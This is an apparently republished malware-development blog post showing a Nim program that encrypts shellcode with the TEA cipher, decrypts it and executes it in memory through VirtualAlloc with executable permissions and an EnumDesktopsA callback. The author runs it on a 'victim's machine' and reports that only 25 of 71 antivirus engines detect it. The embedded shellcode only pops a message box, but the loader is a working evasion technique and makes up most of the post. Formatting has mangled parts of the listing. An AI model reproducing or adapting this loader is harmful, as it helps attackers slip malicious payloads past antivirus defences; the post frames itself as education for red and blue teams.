Malware and cryptography 41 - encrypt/decrypt payload via TEA. Simple Nim example

Introduction to Malware Binary Triage (IMBT) Course

Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.

Enroll Now and Save 10%: Coupon Code MWNEWS10

Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.

Hello, cybersecurity enthusiasts and white hackers!

cryptography

This post is the result of my own research on using TEA encryption on malware development, but the main difference using Nim language instead C/C++. As usual, exploring various crypto algorithms, I decided to check what would happen if we apply this to encrypt/decrypt the payload.

So, today I’m sharing a Nim implementation of the Tiny Encryption Algorithm (TEA) that can be used to encrypt and decrypt payloads. This builds on my previous posts about malware cryptography techniques.

practical example

This section provides a detailed, function-by-function explanation of my Nim implementation.

First of all we need imports and type definitions. In this case, we need:
winim - provides Windows API bindings (used for memory allocation & execution).
strformat - used for formatted string output (e.g., &”{b:02x}”).
DESKTOPENUMPROCA - a callback function type for EnumDesktopsA, later used to execute payload.

import winim
import strformat

type
DESKTOPENUMPROCA = proc(lpszDesktop: LPSTR, lParam: LPARAM): WINBOOL {.stdcall.}

Then, TEA encryption logic:

proc encrypt(v: var array[2, uint32], key: array[4, uint32]) =
  var sum = 0u32
  var delta = 0x9e3779b9'u32
  for _ in 0 ..< 32:  # 32 rounds of encryption
    sum += delta
    v[0] += ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
    v[1] += ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])

Initializes sum = 0 and delta = 0x9e3779b9 (a magic constant). Then, performs 32 rounds of Feistel network operations: each round mixes the block with the key using bit shifts (shl, shr), XOR (xor), and addition.

Next one is TEA decryption logic:

proc decrypt(v: var array[2, uint32], key: array[4, uint32]) =
  var sum = 0xC6EF3720'u32  # inverse of delta
  var delta = 0x9e3779b9'u32
  for _ in 0 ..< 32:  # 32 rounds of decryption
    v[1] -= ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
    v[0] -= ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
    sum -= delta

Same as encrypt, starts with sum = 0xC6EF3720 (delta × 32). Reverses the encryption process in 32 rounds. Subtracts instead of adds to undo the transformations.

Next logic is padding, since TEA uses 8-byte blocks. In my code I used PKCS#7 style padding. We need to calculates how many bytes are needed for padding. If data is already aligned, returns it unchanged. Otherwise, appends padding bytes where each byte equals the padding length (e.g., 3 bytes -> 0x03 0x03 0x03):

proc padData(data: seq[byte], blockSize: int): seq[byte] =
  let padding = blockSize - (data.len mod blockSize)
  if padding == blockSize: return data  # No padding needed
  result = data & newSeq[byte](padding)
  for i in 0..<padding:
    result[data.len + i] = byte(padding)  # PKCS#7 style padding

and unpadding:

proc unpadData(data: seq[byte]): seq[byte] =
  if data.len == 0: return data
  let padding = int(data[^1])
  if padding > data.len: return data  # Invalid padding
  result = data[0 ..< data.len - padding]

Also, implemented helper functions, byte-to-word conversion:

proc bytesToUint32(data: seq[byte]): seq[array[2, uint32]] =
  if data.len mod 8 != 0:
    raise newException(ValueError, "Data length must be multiple of 8 bytes")

result = newSeq[array[2, uint32]](data.len div 8)
for i in 0 …< result.len:
let offset = i * 8
result[i][0] = castuint32 or (castuint32 shl 8) or
(castuint32 shl 16) or (castuint32 shl 24)
result[i][1] = castuint32 or (castuint32 shl 8) or
(castuint32 shl 16) or (castuint32 shl 24)

and word-to-byte conversion logic:

proc uint32ToBytes(data: seq[array[2, uint32]]): seq[byte] =
  result = newSeq[byte](data.len * 8)
  for i in 0 ..< data.len:
    let offset = i * 8
    result[offset]   = byte(data[i][0] and 0xFF)
    result[offset+1] = byte((data[i][0] shr 8) and 0xFF)
    result[offset+2] = byte((data[i][0] shr 16) and 0xFF)
    result[offset+3] = byte((data[i][0] shr 24) and 0xFF)
    result[offset+4] = byte(data[i][1] and 0xFF)
    result[offset+5] = byte((data[i][1] shr 8) and 0xFF)
    result[offset+6] = byte((data[i][1] shr 16) and 0xFF)
    result[offset+7] = byte((data[i][1] shr 24) and 0xFF)

and finally, main execution flow:

when isMainModule:
  # define a 128-bit key (4 x uint32)
  let key: array[4, uint32] = [0x01234567'u32, 0x89abcdef'u32, 0xfedcba98'u32, 0x76543210'u32]

define the payload

var data: seq[byte] = @[
byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]

echo “original data (”, data.len, " bytes):"
for b in data:
stdout.write &"{b:02x} "
echo “”

pad data to ensure it’s a multiple of 8 bytes

let paddedData = padData(data, 8)
echo “\npadded data (”, paddedData.len, " bytes):"
for b in paddedData:
stdout.write &"{b:02x} "
echo “”

convert to uint32 blocks for encryption

var uint32Blocks = bytesToUint32(paddedData)

encrypt all blocks

for i in 0…<uint32Blocks.len:
encrypt(uint32Blocks[i], key)

let encryptedBytes = uint32ToBytes(uint32Blocks)
echo “\nencrypted data (”, encryptedBytes.len, " bytes):"
for b in encryptedBytes:
stdout.write &"{b:02x} "
echo “”

decrypt all blocks

for i in 0…<uint32Blocks.len:
decrypt(uint32Blocks[i], key)

convert back to bytes

var decryptedBytes = uint32ToBytes(uint32Blocks)

remove padding

decryptedBytes = unpadData(decryptedBytes)

echo “\ndecrypted data (”, decryptedBytes.len, " bytes):"
for b in decryptedBytes:
stdout.write &"{b:02x} "
echo “”

if decryptedBytes == data:
echo “\nsuccess: decrypted data matches original =^…^=”
else:
echo “\nerror: decrypted data doesn’t match original :(”
# find the first mismatch
var mismatchPos = -1
for i in 0…<min(decryptedBytes.len, data.len):
if decryptedBytes[i] != data[i]:
mismatchPos = i
break
if mismatchPos >= 0:
echo "first mismatch at byte: ", mismatchPos
else:
echo "length mismatch: original ", data.len, " bytes, decrypted “, decryptedBytes.len, " bytes”

let mem = VirtualAlloc(NULL, castSIZE_T, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
RtlMoveMemory(mem, unsafeAddr decryptedBytes[0], castSIZE_T)
let payloadProc = castDESKTOPENUMPROCA
discard EnumDesktopsA(GetProcessWindowStation(), payloadProc, 0)

As you can see, execution technique used EnumDesktopsA as usually.

Full source code of this looks like this hack.nim:

import winim
import strformat

type
DESKTOPENUMPROCA = proc(lpszDesktop: LPSTR, lParam: LPARAM): WINBOOL {.stdcall.}

TEA encryption and decryption

proc encrypt(v: var array[2, uint32], key: array[4, uint32]) =
var sum = 0u32
var delta = 0x9e3779b9’u32
for _ in 0 …< 32: # 32 rounds of encryption
sum += delta
v[0] += ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
v[1] += ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])

proc decrypt(v: var array[2, uint32], key: array[4, uint32]) =
var sum = 0xC6EF3720’u32 # inverse of delta
var delta = 0x9e3779b9’u32
for _ in 0 …< 32: # 32 rounds of decryption
v[1] -= ((v[0] shl 4) + key[2]) xor (v[0] + sum) xor ((v[0] shr 5) + key[3])
v[0] -= ((v[1] shl 4) + key[0]) xor (v[1] + sum) xor ((v[1] shr 5) + key[1])
sum -= delta

padding function to make the data length a multiple of 8 bytes

proc padData(data: seq[byte], blockSize: int): seq[byte] =
let padding = blockSize - (data.len mod blockSize)
if padding == blockSize: # No padding needed
return data
result = data & newSeqbyte
for i in 0…<padding:
result[data.len + i] = byte(padding) # PKCS#7 style padding

proc unpadData(data: seq[byte]): seq[byte] =
if data.len == 0:
return data
let padding = int(data[^1])
if padding > data.len:
return data # invalid padding, return as-is
result = data[0 …< data.len - padding]

proc bytesToUint32(data: seq[byte]): seq[array[2, uint32]] =
if data.len mod 8 != 0:
raise newException(ValueError, “Data length must be multiple of 8 bytes”)

result = newSeq[array[2, uint32]](data.len div 8)
for i in 0 …< result.len:
let offset = i * 8
result[i][0] = castuint32 or
(castuint32 shl 8) or
(castuint32 shl 16) or
(castuint32 shl 24)
result[i][1] = castuint32 or
(castuint32 shl 8) or
(castuint32 shl 16) or
(castuint32 shl 24)

proc uint32ToBytes(data: seq[array[2, uint32]]): seq[byte] =
result = newSeq[byte](data.len * 8)
for i in 0 …< data.len:
let offset = i * 8
result[offset] = byte(data[i][0] and 0xFF)
result[offset+1] = byte((data[i][0] shr 8) and 0xFF)
result[offset+2] = byte((data[i][0] shr 16) and 0xFF)
result[offset+3] = byte((data[i][0] shr 24) and 0xFF)
result[offset+4] = byte(data[i][1] and 0xFF)
result[offset+5] = byte((data[i][1] shr 8) and 0xFF)
result[offset+6] = byte((data[i][1] shr 16) and 0xFF)
result[offset+7] = byte((data[i][1] shr 24) and 0xFF)

when isMainModule:

define a 128-bit key (4 x uint32)

let key: array[4, uint32] = [0x01234567’u32, 0x89abcdef’u32, 0xfedcba98’u32, 0x76543210’u32]

define the payload

var data: seq[byte] = @[
byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
]

echo “original data (”, data.len, " bytes):"
for b in data:
stdout.write &"{b:02x} "
echo “”

pad data to ensure it’s a multiple of 8 bytes

let paddedData = padData(data, 8)
echo “\npadded data (”, paddedData.len, " bytes):"
for b in paddedData:
stdout.write &"{b:02x} "
echo “”

convert to uint32 blocks for encryption

var uint32Blocks = bytesToUint32(paddedData)

encrypt all blocks

for i in 0…<uint32Blocks.len:
encrypt(uint32Blocks[i], key)

let encryptedBytes = uint32ToBytes(uint32Blocks)
echo “\nencrypted data (”, encryptedBytes.len, " bytes):"
for b in encryptedBytes:
stdout.write &"{b:02x} "
echo “”

decrypt all blocks

for i in 0…<uint32Blocks.len:
decrypt(uint32Blocks[i], key)

convert back to bytes

var decryptedBytes = uint32ToBytes(uint32Blocks)

remove padding

decryptedBytes = unpadData(decryptedBytes)

echo “\ndecrypted data (”, decryptedBytes.len, " bytes):"
for b in decryptedBytes:
stdout.write &"{b:02x} "
echo “”

if decryptedBytes == data:
echo “\nsuccess: decrypted data matches original =^…^=”
else:
echo “\nerror: decrypted data doesn’t match original :(”
# find the first mismatch
var mismatchPos = -1
for i in 0…<min(decryptedBytes.len, data.len):
if decryptedBytes[i] != data[i]:
mismatchPos = i
break
if mismatchPos >= 0:
echo "first mismatch at byte: ", mismatchPos
else:
echo "length mismatch: original ", data.len, " bytes, decrypted “, decryptedBytes.len, " bytes”

let mem = VirtualAlloc(NULL, castSIZE_T, MEM_COMMIT, PAGE_EXECUTE_READWRITE)
RtlMoveMemory(mem, unsafeAddr decryptedBytes[0], castSIZE_T)
let payloadProc = castDESKTOPENUMPROCA
discard EnumDesktopsA(GetProcessWindowStation(), payloadProc, 0)

Here’s my complete Nim implementation that:

  • encrypts a payload with TEA
  • decrypts it back
  • executes the decrypted payload in memory

As usual, used meow-meow meesagebox payload:

var data: seq[byte] = @[
    byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0,
    0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
    0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
    0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2,
    0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52,
    0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
    0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
    0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
    0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
    0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6,
    0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41,
    0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x3e,
    0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
    0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
    0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x0, 0x0, 0x0,
    0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d,
    0x85, 0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
    0x56, 0x7, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
    0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d, 0x65, 0x6f, 0x77,
    0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  ]

demo

Let’s go to see everything in action. Compile it (in my linux machine):

nim c -d:mingw --cpu:amd64 hack.nim

cryptography

Then, just run it in the victim’s machine (windows 10 22H2 x64 in my case):

.\hack.exe

cryptography

Nice! As you can see, everything is worked perfectly! =^..^=

Let’s upload our implementation to VirusTotal:

cryptography

https://www.virustotal.com/gui/file/7739d7d00eb36a1b339f8e60dcd06a1f40410eac970440987c838b6ac8d46221/detection

So, only 25 of 71 AV engines detect our file as malicious.

One of my readers ask me, why use TEA in malware and why it’s worked as expected in most cases?

  • small footprint: Perfect for constrained environments
  • fast execution: Important for minimizing detection windows
  • simple implementation: Easy to port between languages
  • adequate security: Provides sufficient protection against casual analysis

TEA provides a good balance between implementation complexity and security for many use cases. While TEA is older, its simplicity makes it ideal for certain scenarios. Modern malware might use more advanced algorithms, but the core concepts remain similar.

I hope this post is useful for malware researchers, C/C++ and Nim programmers, spreads awareness to the blue teamers of this interesting encryption technique and Nim implementation, and adds a weapon to the red teamers arsenal.

Run shellcode via EnumDesktopsA
Malware and cryptography 1
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Article Link: Malware and cryptography 41 - encrypt/decrypt payload via TEA. Simple Nim example. - cocomelonc